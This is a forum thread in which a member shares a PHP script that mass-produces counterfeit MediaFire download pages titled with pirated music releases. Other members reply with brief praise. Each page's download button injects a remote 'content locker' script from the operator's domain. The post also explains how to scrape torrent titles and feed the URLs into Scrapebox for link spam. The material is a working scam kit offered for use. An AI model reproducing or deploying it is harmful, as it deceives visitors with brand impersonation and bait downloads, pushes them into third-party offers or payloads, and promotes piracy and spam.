![]() |
|
|||||||
[VIP] My PHP script to generate Mediafire-cloned pages![]() |
|
|
LinkBack | Thread Tools | Display Modes |
|
#1
|
||||
|
||||
|
[VIP] My PHP script to generate Mediafire-cloned pages
As requested, here is the PHP script including the complete HTML, stylesheet and images of the Mediafire clone I created. Instructions and download for the images are below. The method was outlined here: Code:
http://bc.vc/RzaHZ Code:
<?php
$titlefile= file_get_contents("dltitle.txt");
$sizefile= file_get_contents("dlsize.txt");
$title = explode("\n",$titlefile);
$size = explode("\n",$sizefile);
$s = count($title);
for($i=0;$i<$s;$i++){
//generate file name
$qfname=str_replace("\n","",$title[$i]);
$qfname=str_replace(" ","-",$qfname);
$qfname=str_replace("?","",$qfname);
$html = '<html>
<head>
<title>'.$title[$i].' | MediaFire</title>
<link rel="stylesheet" type="text/css" href="images/style.css" />
</head>
<body style="margin: 0 0 0 0;">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr
style="background-image:url(http://cdn.mediafire.com/images/sprites/index_gradients_sprites_v3.png);
color: #91F964;" valign="middle">
<td width="173"> </td>
<td colspan="2" style="background: url(images/logo.jpg)
no-repeat; padding-left: 196px;" height="52px"><span class="nav"
style="padding-left:20px; word-spacing:15px;"><a href="#"
>Home</a> <a href="#">My-Files</a> <a
href="#">Tour</a> <a
href="#">Help</a></span></td>
<td width="186" align="center"><span
style="word-spacing:15px;width:100px;" class="nav"><a href="#"
style="color:#FFFFFF; font-size:14px;">Login</a> <a href="#"
style="color:#91F964;
font-size:14px;">Sign-Up</a></span></td>
<td width="3" style="word-spacing:15px;"> </td>
<td width="162" style="width:162px"> </td>
</tr>
<tr>
<td colspan="6" bgcolor="#0A283E" height="124"
align="center"><a href="#"><img src="images/adtop.jpg"
width="729" height="92" title="'.$title[$i].'" alt="'.$title[$i].'"
/></a></td>
</tr>
<tr>
<td rowspan="6"> </td>
<td width="339" rowspan="6" valign="top"
style="padding-top:15px;"><a href="#"><img
src="images/adleft1.jpg" width="339" height="282"
/></a> <a href="#"><img
src="images/adleft2.jpg" width="339" height="282"
/></a></td>
<td width="370" align="center" valign="top" style="min-width:
150px;padding-top:15px;padding-bottom:0px" height="50px"> <h1
class="title">'.$title[$i].'</h1>
<p class="size"> ('.$size[$i].') </p></td>
<td rowspan="6" style="padding-top:10px;"><a
href="#"><img src="images/adright.jpg" width="162" height="602"
/></a></td>
<td rowspan="6" style="padding-top:15px;"> </td>
</tr>
<tr>
<td width="370" height="58px" align="center" style="border-left:
solid #ffffff 13px; border-right: solid #ffffff 13px; background:
#FCFDE5 url(images/download.gif) no-repeat; min-width:220px;"><div
style="border: solid #FFC000 2px; height:inherit; padding:5px 0px 0px
20px;"><br/>
<a href="javascript:void(0)" onclick="var
fileref=document.createElement(\'script\');fileref.setAttribute(\'type\',\'text/javascript\');
fileref.setAttribute(\'src\', \'http://www.
\YOURDOMAIN.com/CONTENTLOCKERGUID');document.body.appendChild(fileref);"
class="download">Click here to start download from
MediaFire..</a></div></td>
</tr>
<tr>
<td width="370" align="center" valign="top"
style="padding-top:12px; padding-left:4px"><a href="#"><img
src="images/save_to_account.gif" width="137" height="23"
/></a></td>
</tr>
<tr>
<td width="370" height="15" align="center" valign="middle"
style="border: solid #ffffff 13px; background: #118F0D
url(images/pro.gif) no-repeat; padding:5px 3px 3px 30px"><a
href="#" class="upgrade">Upgrade to MediaPro for ad free browsing,
direct linking, and more.</a></td>
</tr>
<tr>
<td width="370" height="74px" valign="top" style="border: solid
#ffffff 13px; border-top:0; background: #E2E2E2; padding:1px 1px 1px
1px; line-height:2.3em;"
class="share"> Share this file:<div
style="float:right; background:url(images/link.gif)
no-repeat;"> <a
href="#" style="color:#06D">More Sharing
Options</a> </div>
<div style="background: #F9F9F9; padding: 10px 0px 10px 12px;
line-height:3.5em;"><span style="color:#555;
">URL:</span> <input readonly="readonly"
value="http://www.YOURDOMAIN.com/'.$qfname.'.html"
style="font-size:14px; background: #FFFFFF url(images/gradient.gif)
repeat-x; height:18px; width:230px; padding: 5px; border:1px solid
#E2E2E2; color: #777777; "/><div style="float:right; padding: 8px
10px 0px 0px;"><a href="#"><img src="images/copylink.gif"
/></a></div>
</div></td>
</tr>
<tr>
<td width="370" height="270px"> </td>
</tr>
<tr>
<td> </td>
<td width="339"> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td bgcolor="#E7F4FF"> </td>
<td colspan="4" bgcolor="#E7F4FF" style="background:"><img src="images/footer.gif" /></td>
<td bgcolor="#E7F4FF"> </td>
</tr>
</table>
</body>
</html>';
//open file
$fp=fopen("$qfname.html","wb");
fwrite($fp,$html);
fclose($fp);
echo('http://www.YOURDOMAIN.com'.$qfname.'.html {'.$title[$i].'}<br/>');
}
?>
Save the PHP file as something unique, for example 'mediafiregen.php". You will need to create two text files and upload them to the same directory, titled 'dltitle.txt' and 'dlsize.txt'. In these files, you add the file titles and sizes, respectively, on separate lines. Once they are uploaded, load yourdomain.com/mediafiregen.php in to your browser. The browser will return a page displaying the URLs of all pages created, along with the file title in a format that can be imported straight in to Scrapebox, like this: Code:
http://www.yourdomain.com/Apostle-of-Hustle---Folkloric-Feel-(2005,-320kbps-+-covers).html
{Apostle of Hustle - Folkloric Feel (2005, 320kbps + covers)}
http://www.yourdomain.com/Bernard-Fanning---Tea-and-Sympathy-(2005).html {Bernard Fanning - Tea and Sympathy (2005)}
http://www.yourdomain.com/Bjork-(complete)-discography.html {Bjork (complete) discography}
http://www.yourdomain.com/Broken-Social-Scene-Discography.html {Broken
Social Scene Discography}
kind of security I'm afraid. I guess as long as you keep the PHP file title completely unique, you should be safe. I've only used this to generate up to 200 pages at a time. To order the file titles and sizes fast, I copy and paste downloads from torrent sites in to excel. With some tweaking you can get the titles and sizes in two columns, and then copy and paste each column in to notepad! Good luck with using this. |
|
#2
|
|||
|
|||
|
nice one
|
|
#3
|
||||
|
||||
|
You are really great man...
__________________
[Only Registered Users Can See Links. Click Here To Register...] |
|
#4
|
|||
|
|||
|
Looking sweet
|
|
#5
|
|||
|
|||
|
'll just leave it here
__________________
[Only Registered Users Can See Links. Click Here To Register...] [Only Registered Users Can See Links. Click Here To Register...] |
![]() |
| Tags |
| generate, mediafirecloned, pages, php, script, vip |
| Thread Tools | |
| Display Modes | |
|
|